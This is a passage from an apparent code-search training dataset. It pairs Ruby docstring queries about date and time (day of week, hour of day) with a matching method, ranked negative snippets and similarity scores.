"def mn(month)\n n = Date::ABBR_MONTHNAMES.index(month) || Date::MONTHNAMES.index(month)\n return month unless n\n\n n.to_s.rjust 2, \"0\"\n end",
"def each_september(n=1); each_monthnum(self.Sep,n); end",
"def first_day(month)\n m = set_month(month)\n q = 1\n y = set_year(month)\n h = (q + (((m+1) * 26)/10) + y + (y/4) + (6 * (y/100)) + (y/400)) % 7\n end",
"def days_in_month(month, year)\n days_per_month = { 1 => 31, 2 => 28 + (leap?(year) ? 1 : 0), 3 => 31, 4 => 30, 5 => 31, 6 => 30, 7 => 31, 8 => 31, 9 => 30, 10 => 31, 11 => 30, 12 => 31 } \n if (month == 0)\n return days_per_month[12]\n elsif (month < 0)\n return days_per_month[month % 13]\n else\n return days_per_month[month] \n end\n end",
"def get_days(date)\n return [date.day] if date.month == date.next.month\n date.day.upto(date.day + 3).to_a\n end"
] |
[
"0.8041053",
"0.72893023",
"0.7188594",
"0.7185649",
"0.70354587",
"0.70218563",
"0.7014999",
"0.7014999",
"0.6969219",
"0.68883187",
"0.6885691",
"0.684601",
"0.6815636",
"0.6781904",
"0.6757036",
"0.6728899",
"0.6720594",
"0.670162",
"0.6700879",
"0.66969824",
"0.6686073",
"0.6663371",
"0.655836",
"0.6488448",
"0.6469609",
"0.6457625",
"0.64549136",
"0.643828",
"0.64193743",
"0.6415588",
"0.63846517",
"0.6384079",
"0.63742834",
"0.6369242",
"0.6354934",
"0.63342893",
"0.6310848",
"0.6307479",
"0.6306562",
"0.6281206",
"0.62541497",
"0.6246602",
"0.6234664",
"0.6234664",
"0.622794",
"0.62153465",
"0.61983746",
"0.6197666",
"0.6153002",
"0.61403704",
"0.6133",
"0.6132739",
"0.6132739",
"0.6131865",
"0.6096502",
"0.60875624",
"0.60719776",
"0.60672605",
"0.60644656",
"0.60620344",
"0.6060528",
"0.6043158",
"0.60370696",
"0.603524",
"0.60327965",
"0.6030519",
"0.600614",
"0.6002821",
"0.59935725",
"0.5987537",
"0.59859115",
"0.59755397",
"0.596103",
"0.5957682",
"0.5933275",
"0.5924714",
"0.59157825",
"0.59128493",
"0.5910391",
"0.59035295",
"0.58969855",
"0.58964425",
"0.5893221",
"0.58746624",
"0.5871206",
"0.58543366",
"0.5838534",
"0.58231884",
"0.58220667",
"0.5815555",
"0.5797186",
"0.57739866",
"0.5772613",
"0.57686156",
"0.5766833",
"0.57656085",
"0.5760409",
"0.5759822",
"0.57528716",
"0.5746315",
"0.57451534"
] |
0.0
|
-1
|
Returns the day of the week (0..6 for Sunday to Saturday).
|
def wday
if @time
@time.wday
elsif @datetime
@datetime.wday
else
to_time.wday
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def day_of_week\n # Date.wday returns 0-6 for Sunday,...Saturday\n return @day.wday\n end",
"def day_of_week\n # Zellers: 0 = Saturday, 1 = Sunday, 2 = Monday, ..., 6 = Friday\n # day_of_week: 1 = Sunday, 7 = Saturday\n (zellers_congruence + 6) % 7\n end",
"def day_of_week\n to_time.wday\n end",
"def day_of_week\n dnum = day\n dnum -= 10 if dnum > 20\n dnum -= 10 if dnum > 10\n dnum -= 1\n dnum\n end",
"def day_of_week\n return -1 if self.day_of_year == 308\n result = self.days_since_epoch % 8\n if result > 0\n result\n else\n 8\n end\n\n end",
"def day_of_week(date)\n 7 - date.cwday\n end",
"def saturday\n day(:saturday)\n end",
"def day_of_week\n start_on.strftime(WEEKDAY_NAME)\n end",
"def day_of_the_week(time)\n\tDate::DAYNAMES[time.wday]\nend",
"def weekday\n fail \"A value cannot be provided for #{__method__}\" if @value\n return 'Mon..Fri'\n end",
"def week(date = Date.today)\n day = monday(date)\n (day..day + 6)\n end",
"def day_of_the_week(time)\n Date::DAYNAMES[time.wday]\nend",
"def end_of_week; self + (6 - wday).days end",
"def day_of_week\n Date::DAYNAMES.fetch(recurring_event.day).downcase.to_sym\n end",
"def day_of_week(date)\n date.cwday # cwday returns the day of calendar week (1-7, Monday is 1).\nend",
"def day_of_week\n\tif @current_time.wday == 0 || @current_time.wday == 6\n\t\tweek_period = \"Weekends\"\n\telse\n\t\tweek_period = \"Weekdays\"\n\tend\nend",
"def weekday\n fail \"A value cannot be provided for #{__method__}\" if @value\n\n 'Mon..Fri'\n end",
"def wednesday\n day(:wednesday)\n end",
"def sunday\n end_of_week(:monday)\n end",
"def end_of_week\n (beginning_of_week+6).end_of_day\n end",
"def wday\n components.weekday - 1\n end",
"def to_weekday_if_weekend(date)\n date += 1 if date.wday == 0\n date -= 1 if date.wday == 6\n date\n end",
"def thursday\n day(:thursday)\n end",
"def get_start_of_week(d)\n d -= DAY until d.monday?\n d\n end",
"def to_weekday\n Weekday.civil(self.year, self.month, self.day)\n end",
"def day_of_week\n randomize(Date::DAYNAMES)\n end",
"def day_of_week\n randomize(Date::DAYNAMES)\n end",
"def day_of_the_week(day)\n @dias = {1 => \"LUNES\", 2 => \"MARTES\", 3 => \"MIERCOLES\", 4 => \"JUEVES\", 5 => \"VIERNES\", 6 => \"SÁBADO\", 7 => \"DOMINGO\"}\n return @dias[day]\n end",
"def sunday\n day(:sunday)\n end",
"def day_in_week(args = nil)\n if args\n args.each do |key, val|\n case key\n when :mfirst\n else\n raise ArgumentError, \"Invalid key in arguments: '#{key}'.\"\n end\n end\n end\n \n #This is a monday - 0. Use this date to calculate up against.\n def_date = Datet.new(1970, 1, 4)\n \n if self > def_date\n days = Datet.days_between(def_date, self)\n factor = days.to_f / 7.0\n diw = days - (factor.floor * 7)\n else\n days = Datet.days_between(self, def_date)\n factor = days.to_f / 7.0\n diw = days - (factor.floor * 7)\n diw = 7 - diw\n diw = 0 if diw == 7\n end\n \n #Monday should be the first day in the week.\n if args and args[:mfirst]\n if diw == 0\n diw = 6\n else\n diw -= 1\n end\n end\n \n return diw\n end",
"def day_name; Date::DAYNAMES[wday] end",
"def nth_wday; (day - 1) / 7 end",
"def end_of_week\n 6.days.from_now(beginning_of_week).end_of_day\n end",
"def day_of_week(year, month, day)\n d = day\n m = (month - 3) % 12 + 1\n yy = month < 3 ? year-1 : year\n y = yy % 100\n c = yy / 100\n (d + (2.6 * m - 0.2).floor + y + (y/4.0).floor + (c/4.0).floor - 2*c) % 7\nend",
"def get_week_day(date)\n # If date is in the future, use today's date\n date_to_use = date\n if date_to_use > Date.today\n date_to_use = Date.today\n end\n\n # If date is on weekend, get previous Friday\n offset = 0\n if date_to_use.wday == 0\n offset = 2\n end\n if date_to_use.wday == 6\n offset = 1\n end\n date_to_use - offset\n end",
"def nwday_day(n)\n w = n % 7\n 1 + (w - (wday - day + 1)) % 7 + n - w\n end",
"def getMonday(date)\n\t\tunless date.nil?\n\t\t\t#the day of calendar week (1-7, Monday is 1)\n\t\t\tday1_diff = date.cwday%7 - 1\n\t\t\t#date -= day1_diff if day1_diff != 0\n\t\t\tdate -= day1_diff == -1 ? 6 : day1_diff\n\t\tend\n\t\tdate\n\tend",
"def nth_wday_day(w,d)\n 1 + (d - (wday - day + 1)) % 7 + w * 7\n end",
"def name_of_day\n if day_of_week == -1\n DAY_NAMES[day_of_week]\n else\n DAY_NAMES[day_of_week - 1]\n end\n end",
"def to_weekday!\n Weekday.civil!(self.year, self.month, self.day)\n end",
"def day_name\n return @@day_names[self.day_in_week]\n end",
"def next_weekday\n if next_day.on_weekend?\n next_week(:monday, same_time: true)\n else\n next_day\n end\n end",
"def next_weekday\n if next_day.on_weekend?\n next_week(:monday, same_time: true)\n else\n next_day\n end\n end",
"def getSunday(date)\n\t\tunless date.nil?\n\t\t\tday7_diff = 7 - date.cwday%7\n\t\t\tdate += day7_diff == 7 ? 0 : day7_diff\n\t\tend\n\t\tdate\n\tend",
"def week_days\n {\n \"1\" => 'mon',\n \"2\" => 'tue',\n \"3\" => 'wed',\n \"4\" => 'thu',\n \"5\" => 'fri',\n \"6\" => 'sat',\n \"7\" => 'sun'\n }\n end",
"def days_past_in_week\n to_date.cwday\n end",
"def week_from_today\n ::Date.today + 7\n end",
"def days_of_week_string\n dow = days_of_week_hash\n\n @days_of_week_string ||=\n (dow[:sunday] ? \"Su\" : \"\") +\n (dow[:monday] ? \"M\" : \"\") +\n (dow[:tuesday] ? \"Tu\" : \"\") +\n (dow[:wednesday] ? \"W\" : \"\") +\n (dow[:thursday] ? \"Th\" : \"\") +\n (dow[:friday] ? \"F\" : \"\") +\n (dow[:saturday] ? \"Sa\" : \"\")\n end",
"def cwday() \n _wday = @m_date.wday\n return 7 if _wday == 0\n \n return _wday\n end",
"def next_weekday(weekday = 2)\n date = Date.today\n unless date.strftime(\"%w\") == weekday.to_s\n date += 1 + ((weekday -1 -date.wday) % 7)\n end\n date\n end",
"def wday\n to_g.wday\n end",
"def start_of_week; self - wday.days end",
"def day_str(args = nil)\n ret = Datet.days(:trans => true)[self.day_in_week]\n if args and args[:short]\n ret = ret.slice(0, 3)\n end\n \n return ret\n end",
"def weekday(weekday)\n case weekday\n when 'tod'\n @now\n when 'tom'\n @now + 1\n when 'y'\n @now - 1\n end\n end",
"def weekdays\n wdays = []\n wdays << 0 if sun\n wdays << 1 if mon\n wdays << 2 if tue\n wdays << 3 if wed\n wdays << 4 if thu\n wdays << 5 if fri\n wdays << 6 if sat\n\n wdays\n end",
"def dayOfWeek\n days = 0;\n tempYear = MIN_YEAR\n while tempYear < @year\n days += SimpleDate.daysInYear(tempYear).to_i\n tempYear+=1\n end\n\n days = days + ordinalDate\n #puts \"days #{days}\"\n days = days % 7\n\n end",
"def wday\n return self.to_a[IDX_WDAY]\n end",
"def day_week(date)\n day_week = \"--\"\n unless date.blank?\n case date.strftime(\"%A\")\n when \"Monday\"\n day_week = \"月\"\n when \"Tuesday\"\n day_week = \"火\"\n when \"Wednesday\"\n day_week = \"水\"\n when \"Thursday\"\n day_week = \"木\"\n when \"Friday\"\n day_week = \"金\"\n when \"Saturday\"\n day_week = \"土\"\n when \"Sunday\"\n day_week = \"日\"\n end\n else\n end\n return day_week\n end",
"def to_day_1_7(day_0_6)\n [7,1,2,3,4,5,6,7][day_0_6.to_i] if [0,1,2,3,4,5,6,7].include? day_0_6\n end",
"def first_wday\n case Setting.start_of_week.to_i\n when 1\n @first_dow ||= (1 - 1)%7 + 1\n when 6\n @first_dow ||= (6 - 1)%7 + 1\n when 7\n @first_dow ||= (7 - 1)%7 + 1\n else\n @first_dow ||= (l(:general_first_day_of_week).to_i - 1)%7 + 1\n end\n end",
"def week\n first_day_of_week = @date.monday\n \n days_of_week = []\n 7.times do |time|\n days_of_week << day_and_types(first_day_of_week + time.days)\n end \n \n days_of_week\n end",
"def first_wday; (wday - day + 1) % 7 end",
"def week\n @date.cweek\n end",
"def calendar_wdays(starting_day = 0)\n start_week = Date.today.beginning_of_week + (starting_day - 1).days # In rails week start in monday and monday.wday is 1\n (start_week...start_week+7.days).collect { |day| I18n.l(day, :format => '%A') }\n end",
"def weekday\n current_time = Time.new\n current_time.strftime(\"%A\")\nend",
"def weekday\n current_time = Time.new\n current_time.strftime(\"%A\")\nend",
"def jwday\n (to_g.wday + 1) % 7\n end",
"def start_of_this_week\n now = Date.today\n sunday = now - now.wday\nend",
"def sunday(t)\n dt = to_datetime t\n sun = dt - dt.cwday\n (t.is_a? ::Date) ? sun.to_date : sun\n end",
"def day_of_week(day)\n query_filters << \"day_of_week:#{day}\"\n self\n end",
"def dow(dt = nil)\n ::Date::ABBR_DAYNAMES[ to_datetime(dt).wday ].downcase.to_sym\n end",
"def day_in_week_str\n\t\tdays = []\n\t\ttoday = Time.now\n\t\tdays.push(formatted(today))\n\t\ttoday_week_day = today.wday\n\t\tanothers = (0..6).select {|e| e != today_week_day}\n\t\tanothers.map do |e|\n\t\t\tdays.push(formatted(Time.at(today.to_i - e*day_second)))\n\t\tend\n\n\t\tdays.sort\n\tend",
"def week\n @week ||= (((date-start_of_month)+1)/7.0).ceil\n end",
"def monday\n beginning_of_week(:monday)\n end",
"def mweek; (5 - wday + day) / 7 end",
"def get_teenth weekday\n teens = (13..19).to_a\n teens.select {|day| day == weekday}[0]\n end",
"def dayNum\n ['sunday', 'monday', 'tuesday', 'wednesday', 'thursday', 'friday', 'saturday'].index(self.day.downcase)\n end",
"def beginning_of_week\n (self - self.wday.days).midnight + 1.day\n end",
"def week_index\n @week_index ||= date.wday\n end",
"def week; end",
"def get_day_name(day_of_the_week)\n\t\tcase day_of_the_week\n\t\t\twhen 0\n\t\t\t\t\"Sunday\"\n\t\t\twhen 1\n\t\t\t\t\"Monday\"\n\t\t\twhen 2\n\t\t\t\t\"Tuesday\"\n\t\t\twhen 3\n\t\t\t\t\"Wednesday\"\n\t\t\twhen 4\n\t\t\t\t\"Thursday\"\n\t\t\twhen 5\n\t\t\t\t\"Friday\"\n\t\t\twhen 6\n\t\t\t\t\"Saturday\"\n\t\t\telse\n\t\t\t\t\"It is not a day of the week!\"\n\t\tend\n\tend",
"def getStartDay(date)\t\n\t\tstartOfWeek = getStartOfWeek\n\t\t#Martin Dube contribution: 'start of the week' configuration\n\t\tunless date.nil?\t\t\t\n\t\t\t#the day of calendar week (0-6, Sunday is 0)\t\t\t\n\t\t\tdayfirst_diff = (date.wday+7) - (startOfWeek)\n\t\t\tdate -= (dayfirst_diff%7)\n\t\tend\t\t\n\t\tdate\n\tend",
"def weekend\n [saturday, sunday]\n end",
"def start_week\n start_date.strftime('%W').to_i\n end",
"def friday\n day(:friday)\n end",
"def to_day\n Month::DAYS[self.wday]\n end",
"def nth_weekday_of(year = Time.now.year, month = Time.now.month,\n weekday = 0, week = 1)\n first_day = DateTime.new year, month, 1\n\n # Day offset needed for Nth day of the week\n first_day + weekday_offset(first_day.wday, weekday) + (week - 1) * 7\n end",
"def end_of_week(start_day = Date.beginning_of_week)\n last_hour(days_since(6 - days_to_week_start(start_day)))\n end",
"def wday() end",
"def ending_of_week\n if current_week.index(day) == 6\n self.class.new(year, month, current_week.last)\n elsif current_week.index(day) < 6\n if self.class == Date\n self + (6 - current_week.index(day))\n elsif self.class == Time\n self + (60 * 60 * 24 * (6 - current_week.index(day)))\n end\n end\n end",
"def to_weekday_if_boxing_weekend(date)\n if date.wday == 6 || date.wday == 0\n date += 2\n elsif date.wday == 1\n date += 1\n end\n\n date\n end",
"def weeks() 7 * days end",
"def first_wday\n @first_dow ||= 7\n end",
"def day_of_week(*weekdays)\n merge(day: weekdays)\n end",
"def test_it_can_convert_an_integer_day_of_week_to_the_word\n assert_equal \"Sunday\", FinderClass.day_of_week(0)\n assert_equal \"Monday\", FinderClass.day_of_week(1)\n assert_equal \"Tuesday\", FinderClass.day_of_week(2)\n assert_equal \"Wednesday\", FinderClass.day_of_week(3)\n assert_equal \"Thursday\", FinderClass.day_of_week(4)\n assert_equal \"Friday\", FinderClass.day_of_week(5)\n assert_equal \"Saturday\", FinderClass.day_of_week(6)\n end",
"def wday\n @date_time_value.wday\n end",
"def weekdays\n lines[1]\n end",
"def getDayOnWeek(weekStart, dayVal)\n\t\tweekDay = ((7 + (dayVal - weekStart.wday)) % 7)\n\t\tdayDateVal = weekStart + weekDay.days\n\t\tdayDateVal\n\tend",
"def date_end # originally date_start\n\tdate = Date.today\n\t(1..7).each do |n|\n\t\tdate = Date.today - n#.days\n\t\tbreak if date.wday == 6 # 0 = Sun, 1 = Mon ... 6 = Sat\n\tend\n\tdate\nend",
"def start_day()\n return \"#{ self.date_for( TimesheetRow::FIRST_DAY ) } (week #{ self.week_number })\"\n end"
] |
[
"0.8535862",
"0.8336422",
"0.817168",
"0.81282455",
"0.7893926",
"0.78752214",
"0.78063154",
"0.770183",
"0.7455943",
"0.7417571",
"0.73899007",
"0.7385858",
"0.7376861",
"0.73515034",
"0.73412615",
"0.7322764",
"0.731034",
"0.7115404",
"0.7095304",
"0.70863754",
"0.70853925",
"0.7080619",
"0.7070628",
"0.70510465",
"0.70453644",
"0.7044576",
"0.7044576",
"0.7042608",
"0.7020481",
"0.6998179",
"0.6948547",
"0.6938008",
"0.6937351",
"0.6930956",
"0.69235235",
"0.69121",
"0.6877024",
"0.6875323",
"0.68664426",
"0.6839114",
"0.68311405",
"0.6811427",
"0.6811427",
"0.68101025",
"0.6801055",
"0.67878515",
"0.6782003",
"0.6765516",
"0.6763329",
"0.67360246",
"0.67344695",
"0.6722994",
"0.6719416",
"0.67174333",
"0.6675905",
"0.6675764",
"0.6663061",
"0.6658367",
"0.6646936",
"0.66363955",
"0.6615552",
"0.66040826",
"0.6601953",
"0.6598364",
"0.6595355",
"0.6589826",
"0.6575207",
"0.656859",
"0.6550318",
"0.6522812",
"0.6515128",
"0.6512393",
"0.65104866",
"0.65081203",
"0.6506523",
"0.6505044",
"0.6491424",
"0.6481846",
"0.648035",
"0.6479876",
"0.64728045",
"0.64710325",
"0.6467004",
"0.64569986",
"0.6453507",
"0.64281225",
"0.6415546",
"0.64002424",
"0.63990057",
"0.63875127",
"0.6384578",
"0.6367982",
"0.63614917",
"0.6359352",
"0.63510203",
"0.63498276",
"0.63432103",
"0.6321697",
"0.63162637",
"0.6299727"
] |
0.6321603
|
98
|
Returns the hour of the day (0..23).
|
def hour
if @time
@time.hour
elsif @datetime
@datetime.hour
else
to_time.hour
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def hour\n # seconds_since_start_of_day / H_SECS\n (seconds_since_start_of_day / H_SECS).to_i\n end",
"def hour\n return @t_hour\n end",
"def hour_thc\n hour = @t_hour\n hour -= 12 if hour > 12\n return hour\n end",
"def hour() time[0] end",
"def hour\n @hour\n end",
"def hour() end",
"def hour\n @hour ||= time_parts[0]\n end",
"def hour(date)\n h = date.minute >= 30 ? date.hour + 1 : date.hour\n time = [pad(h.to_s), '00'].join(':')\n [time, day(date)].join(' ')\n end",
"def time_hour; Time.now.hour; end",
"def hour\n components.hour\n end",
"def hour\n return self.to_a[IDX_HOUR]\n end",
"def getHour\r\n\t\t\t\t\treturn @hour\r\n\t\t\t\tend",
"def hours\n fail \"A value is required for #{__method__}\" unless @value\n fail 'A value cannot be > 24' if @value > 24\n fail 'A value cannot be <= 0' if @value <= 0\n return 'daily' if @value == 24\n\n \"0/#{@value}:0:0\"\n end",
"def hour\n self.range('hour')\n end",
"def this_hour\n hour(Time.now)\n end",
"def get_hour\n self.hr.strftime(\"%H\").to_i + self.hr.strftime(\"%M\").to_d/60\n end",
"def hour\n set_function_and_argument(:hour, nil)\n end",
"def hours\n fail \"A value is required for #{__method__}\" unless @value\n return \"0/#{@value}:0:0\"\n end",
"def hour\n hour? ? at_hour : super\n end",
"def clock_hour24(clock)\n to_clock24(clock).hour\nend",
"def hour_in\n @hour_in ||= time_in.hour\n end",
"def hours\n _nudge[0]\n end",
"def gethour()\n\t\treturn @hour\n\tend",
"def first_hour\n\t\tday_begins_at.strftime '%l%P'\n\tend",
"def hours() 60 * minutes end",
"def hour(system = :twenty_four_hour)\n hour = self.to_duration.to_units(:hour, :minute, :second).fetch(:hour)\n if system == :twelve_hour\n if hour == 0\n 12\n elsif hour > 12\n hour - 12\n else\n hour\n end\n elsif (system == :twenty_four_hour)\n hour\n else\n raise ArgumentError, \"system should be :twelve_hour or :twenty_four_hour\"\n end\n end",
"def hours\n self.to_i * 3_600\n end",
"def hours\n value_parts[0]\n end",
"def hours\n value_parts[0]\n end",
"def H; cat @time.strftime('%H') end",
"def end_hour\n hour = DateTime.parse(self.datep.to_s).hour\n hour_s = ''\n if(hour < 10)\n hour_s = '0'+hour.to_s\n else\n hour_s = hour.to_s\n end\n hour_s\n end",
"def hour_of_day(*hours)\n merge(hour: hours)\n end",
"def get_formatted_hour\n start_on.strftime(\"%H:%M\")\n end",
"def hours\n self * SECONDS_IN_HOUR\n end",
"def getHour(mod = 24, unit = 1)\n return normalize(getMin(0,0)/60.0, mod, unit) ;\n end",
"def hours; self * HOUR; end",
"def hours; self * HOUR; end",
"def determine_current_hour\n\tcurrent_time = Time.new\n\tcurrent_hour = current_time.hour\nend",
"def determine_current_hour\n current_time = Time.new\n current_hour = current_time.hour\nend",
"def hours\n seconds / 3600\n end",
"def opening_hour\n 11 # 11am\n end",
"def hours\n return \"There are #{self * (60 * 60)} seconds in #{self} hours\"\n end",
"def opening_hour\n 11\n end",
"def end_of_hour\n change(\n min: 59,\n sec: 59,\n usec: Rational(999999999, 1000)\n )\n end",
"def hours_in_year\n return DAYS_IN_YEAR * 24\nend",
"def days() 24 * hours end",
"def as_hours hours\n minutes = hours.to_f * 60.0\n sprintf \"%d:%02d\", (minutes / 60).to_i, (minutes % 60).to_i\n end",
"def digital_hour(i)\n rex(:digital_hour, i, /(2[0-4]|[01][0-9]):?[0-5]\\d/)\n end",
"def hour_time(unix_time)\n time = Time.at(unix_time)\n hour_string = time.strftime(\"%l %p\")\n hour_string[0] = '' if hour_string[0] == ' '\n hour_string\n end",
"def to_i\n hour * 60 + minute\n end",
"def hrs\n self / 24.0\n end",
"def formatted_hours\n as_hours hours\n end",
"def formatted_hours\n as_hours hours\n end",
"def end_of_hour\n change(\n :min => 59,\n :sec => 59,\n :usec => 999999.999\n )\n end",
"def end_hour_with_respecting_end_of_day\n if end_minute_without_respecting_end_of_day >= 59 and end_hour_without_respecting_end_of_day == 23\n 24\n else\n end_hour_without_respecting_end_of_day\n end\n end",
"def hour_12\n self.strftime(\"%I:%M %p\")\n end",
"def hour_12\n self.strftime(\"%I:%M %p\")\n end",
"def hours\n Thread.current[:datet_mode] = :hours\n return self\n end",
"def meridiem\n hour_24 / 12\n end",
"def hour=(value)\n RangeValidator.validate \"DateGroupItem.hour\", 0, 23, value\n @hour = value\n end",
"def time_of_day(min)\n hours_num, minutes = min.divmod(60)\n hour = hours_num % 24\n format(\"%02d:%02d\", hour, minutes)\nend",
"def hourly\n (0..23).collect { |h| redis.get(\"#{prefix_hourly}:#{Time.now.year}:#{Time.now.month}:#{Time.now.day}:#{h}\").to_i }\n end",
"def end_of_hour\n change(min: 59, sec: 59.999)\n end",
"def hours\n \n end",
"def hour_out\n @hour_out ||= time_out.hour\n end",
"def absolute_hour(seconds); end",
"def time_of_day(min)\n hours, minutes = min.divmod(60)\n hours = hours.divmod(24).last\n \"#{format('%02d', hours)}:#{format('%02d', minutes)}\"\nend",
"def end_of_hour\n change(:min => 59, :sec => 59)\n end",
"def hours\n @seconds.abs / 60 / 60 * (@seconds < 0 ? -1 : 1)\n end",
"def time_of_day(input)\n hours, mins = input.abs.divmod(60)\n\n hours = hours.divmod(24)[1] if hours >= 24\n\n if input >= 0\n \"#{format(\"%0.2i\", hours)}:#{format(\"%0.2i\", mins)}\"\n else\n \"#{format(\"%0.2i\", 23 - hours)}:#{format(\"%0.2i\", 60 - mins)}\"\n end\nend",
"def hours ; self * 60.minutes ; end",
"def time_day; Time.now.day; end",
"def hours ; Duration[self * 3600] ; end",
"def hourglass\r\n return 188\r\n end",
"def clock_hour12(clock)\n to_clock12(clock).hour\nend",
"def find_hour(hours)\n if hours >= 0\n hours % 24\n else\n until hours >= 0\n hours += 24\n end\n hours\n end\nend",
"def hour_of_day(hours, *extras)\n merge(hour: hours.array_concat(extras))\n end",
"def time_of_day(time)\n hour = (time % (24 * 60)) / 60\n minute = time % 60\n \n format('%02d:%02d',hour,minute)\nend",
"def time_of_day(int)\n time = int.divmod(60)\n time[0] %= 24\n time[0] += 24 if time[0] < 0\n\n time[0] = time[0].to_s.prepend('0') if time[0].digits.size == 1\n time[1] = time[1].to_s.prepend('0') if time[1].digits.size == 1\n time.join(':')\nend",
"def hours\n response[\"hours\"]\n end",
"def hours\n\t\treturn self * 60.minutes\n\tend",
"def hours\n\t\treturn self * 60.minutes\n\tend",
"def floor_hour(time)\n (Time.zone || Time).at((time.to_f/3600).floor * 3600)\n end",
"def time_of_day(number)\n hours, minutes = number.divmod(60)\n hours = hours % 24\n string_hours, string_minutes = '', ''\n if FORMAT[hours] != nil\n string_hours = FORMAT[hours]\n else\n string_hours = hours.to_s\n end\n if FORMAT[minutes] != nil\n string_minutes = FORMAT[minutes]\n else\n string_minutes = minutes.to_s\n end\n \"#{string_hours}:#{string_minutes}\"\nend",
"def format_hour(hour)\n first, second = hour.divmod(10)\n first_digit_arr = @@number_strs[first]\n second_digit_arr = @@number_strs[second]\n [\n first_digit_arr[0] + second_digit_arr[0] + ' ',\n first_digit_arr[1] + second_digit_arr[1] + '.',\n first_digit_arr[2] + second_digit_arr[2] + '.'\n ]\n end",
"def daytime_hours?\n @test_time = @time if @test_time.nil?\n @test_time.daytime_hours?\n end",
"def day\n return @day\n end",
"def hour=(newhour)\n newhour = newhour.to_i\n raise ArgumentError, \"Invalid hour: '#{newhour}'.\" if newhour < 0 or newhour > 24\n @t_hour = newhour\n return self\n end",
"def middle_of_day\n change(hour: 12)\n end",
"def middle_of_day\n change(hour: 12)\n end",
"def hours_to_days(hours)\n hours / 24\nend",
"def end_of_day\n change(:hour => 23, :min => 59, :sec => 59, :usec => 999999.999)\n end",
"def hours_until_next_allowed_str\n number_hours = hours_until_next_allowed\n \"#{number_hours} #{'hour'.pluralize(number_hours)}\"\n end",
"def hours_until_next_allowed_str\n number_hours = hours_until_next_allowed\n \"#{number_hours} #{'hour'.pluralize(number_hours)}\"\n end",
"def set_hour_created\n self.hour_created = Time.now.in_time_zone('Eastern Time (US & Canada)').hour\n end",
"def hora_geracao\n Time.current.strftime('%H%M%S')\n end",
"def hora_geracao\n Time.current.strftime('%H%M%S')\n end",
"def hour?\n at_match[2].present?\n end"
] |
[
"0.78771704",
"0.7580654",
"0.7578141",
"0.75737643",
"0.75075936",
"0.74544644",
"0.73538166",
"0.7281383",
"0.727703",
"0.72657603",
"0.7263349",
"0.72387385",
"0.72044784",
"0.71898854",
"0.716567",
"0.7090867",
"0.69819283",
"0.6862825",
"0.6826901",
"0.6824362",
"0.6813632",
"0.6801977",
"0.67218596",
"0.6680998",
"0.6672231",
"0.66588074",
"0.66573143",
"0.6605694",
"0.6605694",
"0.6601733",
"0.6553269",
"0.652469",
"0.6520599",
"0.6500285",
"0.64666873",
"0.64576215",
"0.64559543",
"0.64351475",
"0.6406047",
"0.6394841",
"0.63880324",
"0.6385606",
"0.6374928",
"0.63329035",
"0.6328375",
"0.6279554",
"0.62742865",
"0.62630457",
"0.6256119",
"0.62539005",
"0.6218424",
"0.6206132",
"0.6206132",
"0.6191862",
"0.61894494",
"0.6172933",
"0.6172933",
"0.6141743",
"0.61262643",
"0.6102425",
"0.6023098",
"0.6018637",
"0.60182387",
"0.60180277",
"0.59923726",
"0.599013",
"0.59817827",
"0.59555614",
"0.59527075",
"0.5950965",
"0.59417874",
"0.5930293",
"0.5929912",
"0.5924974",
"0.5915767",
"0.59080434",
"0.58975124",
"0.58655214",
"0.58583194",
"0.58527696",
"0.58045906",
"0.58045906",
"0.5733951",
"0.57322645",
"0.57048064",
"0.5704486",
"0.57011276",
"0.56897277",
"0.56759",
"0.56759",
"0.56727767",
"0.56709623",
"0.5666922",
"0.5666922",
"0.56665385",
"0.56657875",
"0.56657875",
"0.56453454"
] |
0.7097673
|
17
|
Returns the minute of the hour (0..59).
|
def min
if @time
@time.min
elsif @datetime
@datetime.min
else
to_time.min
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def minute\n @minute\n end",
"def getminute()\n\t\treturn @min\n\tend",
"def to_i\n hour * 60 + minute\n end",
"def minute\n set_function_and_argument(:minute, nil)\n end",
"def minute\n self.to_duration.to_units(:hour, :minute, :second).fetch(:minute)\n end",
"def minute(padded = false)\n min = (seconds_since_start_of_hour / M_SECS).to_i\n if padded && min < 10\n min = \"0#{min}\"\n end\n min\n end",
"def minutes() 60 * seconds end",
"def time_to_minute(time)\n time.seconds_since_midnight / 60\n end",
"def minutes\n (seconds % 3600) / 60\n end",
"def to_min(time)\n min = 0\n min += time.hour * 60\n min += time.min\n return min\n end",
"def min_hour(num)\n hour = (num / 60) % 24\n min = num % 60\n [hour, min]\nend",
"def minute(date)\n time = [pad(date.hour.to_s), pad(date.minute.to_s)].join(':')\n [time, day(date)].join(' ')\n end",
"def minutes\n value_parts[1]\n end",
"def minutes\n value_parts[1]\n end",
"def minutes\n _nudge[1]\n end",
"def minute\n if self.in_play?\n return self.round.minute\n else\n if self.finished?\n return MINUTES\n else\n return 0\n end\n end\n end",
"def with_minute(minute)\n LocalTime.of(@hour, minute, @second, @millis)\n end",
"def min\n @min ||= time_parts[1]\n end",
"def getHour(mod = 24, unit = 1)\n return normalize(getMin(0,0)/60.0, mod, unit) ;\n end",
"def minutes; self * MINUTE; end",
"def minutes; self * MINUTE; end",
"def getMin(mod = 60, unit = 1)\n return normalize(getSec(0,0)/60.0, mod, unit) ;\n end",
"def minutes\n self * SECONDS_IN_MINUTES\n end",
"def minutes ; self * 60 ; end",
"def minutes\n (@seconds.abs / 60) % 60 * (@seconds < 0 ? -1 : 1)\n end",
"def minutes\n self.to_i * 60\n end",
"def minute_timestamp_from_producer_clock\n t=Time.now\n t.strftime(\"%Y%j%H%M\").to_i\n end",
"def hours() 60 * minutes end",
"def beginning_of_minute\n change(sec: 0)\n end",
"def beginning_of_minute\n change(sec: 0)\n end",
"def minute=(value)\n RangeValidator.validate \"DateGroupItem.minute\", 0, 59, value\n @minute = value\n end",
"def to_i\n ((@time.hour * 60) + @time.min) * 60\n end",
"def could_be_minute?(minute); end",
"def end_of_minute\n change(\n sec: 59,\n usec: Rational(999999999, 1000)\n )\n end",
"def end_of_minute\n change(sec: 59.999)\n end",
"def hour() time[0] end",
